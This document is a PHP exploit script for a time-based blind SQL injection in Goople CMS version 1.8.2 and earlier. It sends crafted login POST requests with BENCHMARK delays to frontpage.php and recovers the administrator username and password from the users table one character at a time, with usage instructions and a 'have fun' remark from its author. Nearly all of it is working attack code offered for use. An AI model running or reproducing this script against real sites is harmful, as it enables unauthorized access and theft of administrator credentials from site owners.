#--+++=========================================================+++--#
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#
#--+++=========================================================+++--#

#!/usr/bin/php
<?

function usage ()
{
  echo
    "\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".
    "\n[+] Author: darkjoker".
    "\n[+] Site  : http://darkjoker.net23.net".
    "\n[+] Usage : php xpl.php <hostname> <path> [key]".
    "\n[+] Ex.   : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".
    "\n[+] Note  : Have fun ^^\n\n";
  exit ();
}

function check ($hostname, $path, $field, $pos, $char)
{
  $char = ord ($char);
  $fp = fsockopen ($hostname, 80);
  $usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".
         ",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";
  $usr = str_replace ("'", "%27", $usr);
  $usr = str_replace (" ", "%20", $usr);
  $pwd = "password=asd";
  $sub = "loginsubmit=loginsubmit&loginsubmit=Login";
  $str = "{$usr}&{$pwd}&{$sub}";
  $post = "POST {$path}/frontpage.php HTTP/1.1\r\n".
    "Host: {$hostname}\r\n".
    "Connection: Close\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: " . strlen ($str) . "\r\n\r\n".
    $str;
  
  fputs ($fp, $post);
  $a =  time ();
  while (!feof ($fp))
    $res .= fgets ($fp, 1024);

  $b =  time ();
  fclose ($fp);

  if ($b - $a > 4)
    return true;
  else
    return false;
}


function brute ($hostname, $path, $field, $key)
{
  $pos = 1;
  $chr = 0;
  while ($chr < strlen ($key))
  {
    if (check ($hostname, $path, $field, $pos, $key [$chr]))
    {
      echo $key [$chr];
      $chr = -1;
      $pos++;
    }
    $chr++;
  }
}


if (count ($argv) != 3)
  usage ();

$hostname = $argv [1];
$path = $argv [2];
$key = $argv [3];
if (empty ($key))
  $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

echo "[+] Username: ";
brute ($hostname, $path, "username", $key);
echo "\n[+] Password: ";
brute ($hostname, $path, "password", $key);
echo "\n";

?>